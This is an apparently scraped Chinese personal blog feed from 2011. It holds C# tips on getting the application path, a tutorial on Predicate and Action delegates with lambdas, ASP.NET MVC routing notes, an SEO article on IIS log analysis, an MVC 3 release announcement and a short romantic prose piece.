//我用的最多的方法，获取当前 Thread 的当前应用程序域的基目录，它由程序集冲突解决程序用来探测程序集。

//返回 E:\c#学习\获取当前路径\获取当前路径\bin\Debug\

System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;

//获取新的 Process 组件并将其与当前活动的进程关联的主模块的完整路径，包含文件名(进程名)。

//返回 E:\c#学习\获取当前路径\获取当前路径\bin\Debug\获取当前路径.exe

System.AppDomain.CurrentDomain.SetupInformation.ApplicationBase;

//获取和设置包含该应用程序的目录的名称。

//返回 E:\c#学习\获取当前路径\获取当前路径\bin\Debug\

System.Windows.Forms.Application.StartupPath;

//获取启动了应用程序的可执行文件的路径，不包括可执行文件的名称。

//返回 E:\c#学习\获取当前路径\获取当前路径\bin\Debug

System.Windows.Forms.Application.ExecutablePath;

//获取启动了应用程序的可执行文件的路径，包括可执行文件的名称。

//返回 E:\c#学习\获取当前路径\获取当前路径\bin\Debug\获取当前路径.exe

System.IO.Directory.GetCurrentDirectory();

//获取应用程序的当前工作目录(不可靠)。

//返回 E:\c#学习\获取当前路径\获取当前路径\bin\Debug

//这个方法其实是我最早知道的，但是也是我用的最少的，总感觉基于IO的东西都不怎么可靠

//至于上面的“（不可靠）”不是我加的，是网上的大大们写的，我只是Copy过来了

//另外还有一个方法

this.GetType().Assembly.Location;

//获取当前进程的完整路径，包含文件名(进程名)。

//遗憾的静态方法无法使用

//返回 E:\c#学习\获取当前路径\获取当前路径\bin\Debug\获取当前路径.exe

网站优化的晴雨表-IIS日志文件

329084470@qq.com(ceiling) — Tue, 01 Mar 2011 03:05:04 GMT

　　IIS日志纹件中的内容显示了无论是搜索引擎还是用户登录你的网站服务器后留下的跟踪记录。IIS日志的数据对一个SEO从业者来说至关重要，学习看懂IIS日志学会分析IIS日志并根据日志内容及时调整网站优化策略，那么我们来研究下日志纹件的作用。

　　IIS日志纹件中主要记录是“谁”访问了你的网站，主要显示内容为：用户(包含搜索引擎蜘蛛)在什么时间通过你服务器的哪个端口访问了网站域名下的哪个路径，通过访问这个路径后服务器状态码为多少，通过状态码蜘蛛做了哪些相应的动作。每个服务器或空间的日志纹件夹名称都不一样，一般是log纹件夹或logfile纹件夹，通过FTP登录下载就可以。最常见的状态码为：200(成功访问并下载页面显示下载kb数量)、301(永久重定向)、304(访问页面无变动)、400(错误请求)、403 (服务器拒绝请求)、404(死链接)、500(服务器内部错误)、503 (服务不可用)等等。这些状态码对于SEO优化人员必须熟记于心，并会按照状态码及时作出调整。

　　一个网站正式上线后的第一项工作就是提交自己的网站网址和说明到搜索引擎登陆口，一般搜索引擎收到提交的网址后就会自动派出蜘蛛程序(或机器人程序)到你的网站进行爬行。当然这是最理想的状态，一般情况下还需要你去布蜘蛛诱饵来吸引蜘蛛爬取你的网站地址。那么当蜘蛛到达你的网站并开始沿首页进行爬取后就会留下日志记录。我们通过查看日志记录就可以知道哪些搜索引擎在什么时候通过哪些蜘蛛IP服务器爬取了你哪些网站下的路径，并每天查看爬取的变化。计算机

　　网站上线初期每天都要更新网站内容，添加新的纹章来丰富网站，只有当蜘蛛来爬取了你的网站才会下载并返回搜索引擎服务器进行分析和索引，但是爬取不等于一定会收录，网站收录有很多的条件我们这里不去研究，但没有爬取什么都无从谈起。当蜘蛛来爬取你网站后留下的日志可以分析到蜘蛛到底爬取了哪些路径，还有哪些路径是没有被爬取的，这个时候就是你调整网站站内优化和外链建设的最好指导。

　　搜索引擎蜘蛛其实也扮演者用户的角色来访问你的网站，网站初期蜘蛛的访问频率会很低，但随着网站不断的获取权重后蜘蛛的访问频率就会增加，通过不同的服务器状态码来判断你网站的健康程度，如果你的网站出现经常性的服务器不稳定、大量404死链接、网站更新频率很慢的话，蜘蛛会模仿用户判定网站用户体验不好，如果不及时调整带来的后果就是网站降权。这也就是很多人网站降权了却找不到原因的所在。

　　每天IIS日志显示蜘蛛爬取量在增加的时候也就恭喜你的网站进入了不断成长壮大的阶段，反之蜘蛛爬取的数量在逐步降低的话网站就需要作出调整，一般蜘蛛爬取频率变少爬取路径变少后降权也就随之降临，也就是为什么权重高的网站每天每小时每分钟都有蜘蛛来爬取网站数据，当高权重网站更新了一篇新纹章后为什么会被搜索引擎迅速收录。

　　了解和解读IIS日志关乎到网站的生死存亡，通过分析日志就能够尽量避免降权，只有把握了蜘蛛的动态才能让你的网站权重更高，网站关键词排名更好。每个服务器的操作系统都不一样，相应的日志纹件显示芳式也不尽相同，当总体的爬行数据非常相似，网站的用户体验和发展就掌握在你的手中。

.NET/C#中对对象集合进行查询的方法以及相关的 Predicate 及 Action 的用法

329084470@qq.com(ceiling) — Sat, 26 Feb 2011 06:05:09 GMT

所谓的对对象集合进行查询的方法，就是指，如何从一个集合中找出符合条件的某些项来。这一次我没有用自定义对象集合，而是直接使用对象集合，是因为普通的对象集合，如int[], List<int>,这样的东西，也没有统一固定的查询方法，因为对于一个查询来讲，它的条件是多种多样的，所以是无法提供统一固定查询方法的。比如有时候想找出所有大于10的int,有时候又想找所有小于10的int。。。。。。。。。

所以要完成这样一个任务，传统的编程方式就是定义方法，其中建立循环，然后逐个遍历每一个元素，查看其是否符合条件，然后把符合条件的结果挑出来，放在一个返回值集合中，最后返回给调用者。这样的方法直接了当，清晰易懂。用了好多年了，但是写起来麻烦，简单点的都得个7，8行。于是.NET又进行了改进。

这是.NET2.0时代一种比较笨的方法：

代码1

 1using System;
 2 using System.Collections.Generic;
 3 using System.Linq;
 4 using System.Text;
 5
 6 namespace SelectTest1
 7{
 8class Product
 9    {
10publicstring Name { get; privateset; }
11publicdecimal Price { get; privateset; }
12
13public Product(string name, decimal price)
14        {
15            Name = name;
16            Price = price;
17        }
18
19public Product() { }
20
21publicstatic List<Product> GetSampleProduct()
22        {
23returnnew List<Product>
24            {
25new Product{Name="Watch",Price=12345.56m},
26new Product{Name="Knife",Price=224.50m},
27new Product{Name="Rope",Price=12.50m},
28new Product{Name="ETorch",Price=5.5m}
29            };
30        }
31
32publicoverridestring ToString()
33        {
34returnstring.Format("{0} : {1}", Name, Price);
35        }
36    }
37
38class Program
39    {
40staticvoid Main(string[] args)
41        {
42            List<Product> ProductSample = Product.GetSampleProduct();
43foreach (Product tmp in ProductSample)
44            {
45                Console.WriteLine(tmp);
46            }
47
48            Console.WriteLine();
49
50            Predicate<Product> test =delegate(Product p) { return p.Price > 10m; };
51            List<Product> matches = ProductSample.FindAll(test);
52
53            Action<Product> print =delegate(Product p) { Console.WriteLine(p); };
54
55            matches.ForEach(print);
56        }
57    }
58}
59

关键代码是：

Predicate<Product> test = delegate(Product p) { return p.Price > 10m; };
List<Product> matches = ProductSample.FindAll(test);

Action<Product> print = delegate(Product p) { Console.WriteLine(p); };

matches.ForEach(print);

什么是Predicate,Action 呢？？？？？这两个东西我很陌生。查MSDN!

Predicate<T> 是一个委托，它代表了一个方法，它的定义是：

namespace System
{
　　// 摘要: 表示定义一组条件并确定指定对象是否符合这些条件的方法。
　　// 参数:
　　// obj: 要按照由此委托表示的方法中定义的条件进行比较的对象。
　　// 类型参数:
　　// T: 要比较的对象的类型。
　　// 返回结果:
　　// 如果 obj 符合由此委托表示的方法中定义的条件，则为 true；否则为 false。
publicdelegatebool Predicate<T>(T obj);
}

这个委托常被好多Array , List<T> 类的方法所使用，用来查找集合中的元素。

关于 Predicate,,跟 Action 的进一步使用，可以参考 Adil Akhter 的博文：Using Predicate & Action of .Net2.0 。我看的时候简单翻译了一下：

“自从我开始做软件开发以来，我就得一次又一次得面对这样的情况：不得不遍历整个集合然后对每个元素做一些处理，或者根据某一个逻辑规则来筛选出一些元素。一次从一次地写那些循环语句真是太讨厌了。

.NET 2.0 解决了这个问题，我们只需要告诉集合如何筛选，如何处理每个元素，然后它自己会处理重复的步骤。让我们来看一下System.Collections.Generic命名空间中的List<T>类，看看它提供了哪些支持：

有大量的针对查询，排序，筛选的支持方法。如果我们看一下我们经常说到的 FindAll 跟 ForEach :

public List<T> FindAll(Predicate<T> match);public void ForEach(Action<T> action);

会看到这儿的 Predicate 跟 Actor 是两个泛型委托，它们提供了一种方法，可以让我们灵活地对List中的每一个元素进行筛选或者执行某些处理。
让我们深入观察一下这两个委托：

Inside Predicate:

Predicate 是一个泛型委托，它利用了.NET 2.0提供的泛型特性。它的定义是：

delegate bool Predicate<T>(T obj)

如MSDN所定义, Predicate -

"represents a method that defines a set of criteria and determines whether the specific object meets this criteria."

简单地说，Predicate就是一个代表了接受一个T类型的参数，然后检查它是否满足某一规则然后返回 true 或者 false 的委托。示例如下：

在这个例子中，我们使用Predicate 来告诉集合如何筛选，然后集合会处理整个重复筛选的过程。

比如说，我们有一个 SprintBacklogItem 集合，想根据State==Closed 这一规则来进行筛选。我们就可以使用如下的一个方法：

　　　private bool HasStateClosed(SprintBacklogItem item) 
        { 
if (item.State == SprintBackLogStatesStrings.CLOSED) 
return true; 
return false; 
        }

这个方法简单地检查了是否SprintBacklogItem's state is closed，然后返回true/false。现在如果我们观察一下这个方法的定义，就能够确认可以使用Predicate 委托来代表这个方法。下面这行代码就用 FindAll( ) 方法筛选出了所以关闭了的SprintBacklogItems

List<SprintBacklogItem> closedItems= _SprintBackLogsItems.FindAll(HasStateClosed);

Inside Action:

类似于 Predicate,

"Action is also one kind of generic delegate which represents a method that take the object as input and perform some operation on that."

定义：

delegate void Action<T>(T obj);

从这个委托的定义来看，它可以代表一种接受一个T类型的参数，然后什么也不返回的方法。

在List<T>中，由Action委托所代表的方法接受一个输入 obj 对象，然后对它进行处理。

Example

在这个例子中，我们将使用Action 对List中的每一个元素进行一个定义好的操作（initializing ActualHour = 10）

1. Define the method that will be represented by Action -

　　　public void InitActualHour(SprintBacklogItem item) 
        { 
            item.ActualHour = 10; 
        }

2. Following line of code initialize all the elements' Actual hour to 10 of the List -

this.ForEach(InitActualHour);

是不是很COOL很便捷呀？为了不直接给Actor 以及 Predicate 定义方法，我们可以使用匿名方法处理委托。日后会讲到。今天先到这儿”

好了，Predicate 跟 Action 搞明白了，回到主题，接着看集合查询：

前面使用了这样的代码进行了筛选并输出结果，

Predicate<Product> test = delegate(Product p) { return p.Price > 10m; };
List<Product> matches = ProductSample.FindAll(test);

Action<Product> print = delegate(Product p) { Console.WriteLine(p); };

matches.ForEach(print);

其实这两句可以合并成一句：

ProductSample.FindAll(delegate (Product p){return p.Price>10m;}).ForEach(delegate (Product p){Console.WriteLine(p);});

是不是很简洁呀，呵呵。当然从来都是没有最XX，只有更XX，看下面的，LAMBDA出场！！！！！：

ProductSample.FindAll(p=> p.Price > 10m).ForEach(p=>Console.WriteLine(p));

爽吧。

爽的方法还不止一种，还可以这样爽：

            foreach(Product tmp in ProductSample.Where(p=>p.Price > 10m))
            {
                Console.WriteLine(tmp);
            }

注意这个针对List<T>的 Where() 方法，呀呀呀，，，还有上一节的 OrderBy() 真是把能一般情况都考虑到了。

但是，有些人觉得那么写还不够爽，在C# 3.0中就弄出了个LINQ。。。。。这个内容就多了。。。日后再说。。。

asp.net mvc 多级目录结构

329084470@qq.com(ceiling) — Fri, 25 Feb 2011 16:14:32 GMT

ASP.NET MVC默认的文件组织和URL访问都是一级，我们通常要将一个功能模块组织到一个目录下。方法是：
1、文件组织

分别在Controllers和Views文件夹下建议CaiGou文件夹，然后将CaiGou模块的CV将到对应文件夹下

2、URL Routing

view plaincopy to clipboardprint?
01.//采购部分路由
02.            routes.MapRoute(
03.                "CaiGou", // 路由名称
04.                "CaiGou/{controller}/{action}/{id}", // 带有参数的 URL
05.                new { controller = "AddCaiGou", action = "Index", id = UrlParameter.Optional } // 参数默认值
06.            );
07.
08.            //默认路由
09.            routes.MapRoute(
10.                "Default", // 路由名称
11.                "{controller}/{action}/{id}", // 带有参数的 URL
12.                new { controller = "Home", action = "Index", id = UrlParameter.Optional }
13.            );
//采购部分路由
            routes.MapRoute(
                "CaiGou", // 路由名称
                "CaiGou/{controller}/{action}/{id}", // 带有参数的 URL
                new { controller = "AddCaiGou", action = "Index", id = UrlParameter.Optional } // 参数默认值
            );

            //默认路由
            routes.MapRoute(
                "Default", // 路由名称
                "{controller}/{action}/{id}", // 带有参数的 URL
                new { controller = "Home", action = "Index", id = UrlParameter.Optional }
            );

3、Contorller调用View

view plaincopy to clipboardprint?
01.public ActionResult Index()
02.        {
03.            return View("~/Views/CaiGou/AddCaiGou/Index.aspx");
04.        }
public ActionResult Index()
        {
            return View("~/Views/CaiGou/AddCaiGou/Index.aspx");
        }

4、访问

http://localhost:2325/CaiGou/AddCaiGou

“AddCaiGou”为Controller，看起来有点像Action：）名字没取好
全路径http://localhost:2325/CaiGou/AddCaiGou/Index

本文来自CSDN博客，转载请标明出处：http://blog.csdn.net/ikmb/archive/2010/07/07/5717697.aspx

微软正式发布ASP.NET MVC 3

329084470@qq.com(ceiling) — Fri, 25 Feb 2011 15:39:43 GMT

　　ASP.NET MVC 3建立在ASP.NET MVC 1和2的基础上，新增了更多功能，既简化了你的代码又允许更深的扩展性。经过很长一段时间的测试后，微软日前发布了ASP.NET MVC 3的正式版，其安装步骤与ASP.NET MVC 2完全相同。

ASP.NET MVC 3主要新增功能：

　　— Razor视图引擎；

　　— 新的依赖注入（Dependency Injection）和Global Action Filters带来更强大的hooks；

　　— Unobtrusive JavaScript、jQuery Validation和JSON绑定带来更加丰富的JavaScript支持；

　　— 完善后的模型验证（Model Validation）提供了更流畅的验证。　

　　官方下载页面：http://www.microsoft.com/downloads/en/details.aspx?FamilyID=d2928bc1-f48c-4e95-a064-2a455a22c8f6

想你

329084470@qq.com(ceiling) — Thu, 24 Feb 2011 09:55:10 GMT

            想你是一种美。真的，每当我的思绪划过，一种美妙的弧闪烁着，她在我的时空隧道里凝固着一种微妙的瑰丽，定格。那是一个深蓝，神秘莫测。那是一个紫色的花朵，高贵典雅。象梦一样，像诗一般，像蒙太奇的玄妙，永远永远的，悠长悠长的……

想你是一种幸福。那种幸福，暖暖的遍布我的每一个神经，倏然飘动起来，如珊瑚在海洋里油油的舞着，若隐若现，在水的绿洲里徜徉。

想你，我把灯的心灵探索，是不是每一个闪烁的光是我疯长的情怀，它以光的速度深入到你的心灵。人说，心有灵犀一点通，此时的你是不是也如我？我们的心灵在幻觉中萌动着，那是情的交融，那是爱的述说。

            想你，我宁愿在黑暗中寻求一种孤寂，任暗夜的精灵飞舞，任周遭漆黑把我淹没，也好任各种异样的表情传达给天的那端。

想你，我会仔细的回味着你吟诵的美妙，如醉如痴。每每听你的时候，我会闭上眼睛享受那浅吟低唱的境界。想着此时的你是否也如我，傻傻的笑着，读着，品味着，感受着那种无以言说的感觉。那是怎样的情怀？虚无飘渺中，似乎仙客聚集，送来奇妙的风，柔柔的袭来，温暖着我的有些落寞的情怀。

想你，我会在你的文中，字里寻觅着炽热的字眼，也好填补我荒凉的空白。或激越，或温馨，或忧伤，或昂扬，每一段文字都是和谐的音符，弥散在空气里，响掣在浩瀚的宇宙间。

想你，你走进了我的梦里，在朦胧的幻觉里，我在你的臂弯里娇嗔着说，是你吗？我要你说话，你说，你爱我！你会诙谐的调侃着，好了我说，你爱我！明明知道你那不善表达的矜持，而我依然希望你能真切的说声，我爱你！我知道，你不会说，但你的眼神已经告诉我你的炽热，那疯疯的吻，已经说明了这一切。于是，一切的激越，激越的一切便把我淹没在这爱的海洋里……

让思念作帆，让爱作舟，我们在这心路的旅程中远航。在风过的日子里留痕，在雪的季节里凝结，那是我们淡泊的情，她在一个世界里升华演绎着一个美的故事，到永远，永远……

想你，很美，很美……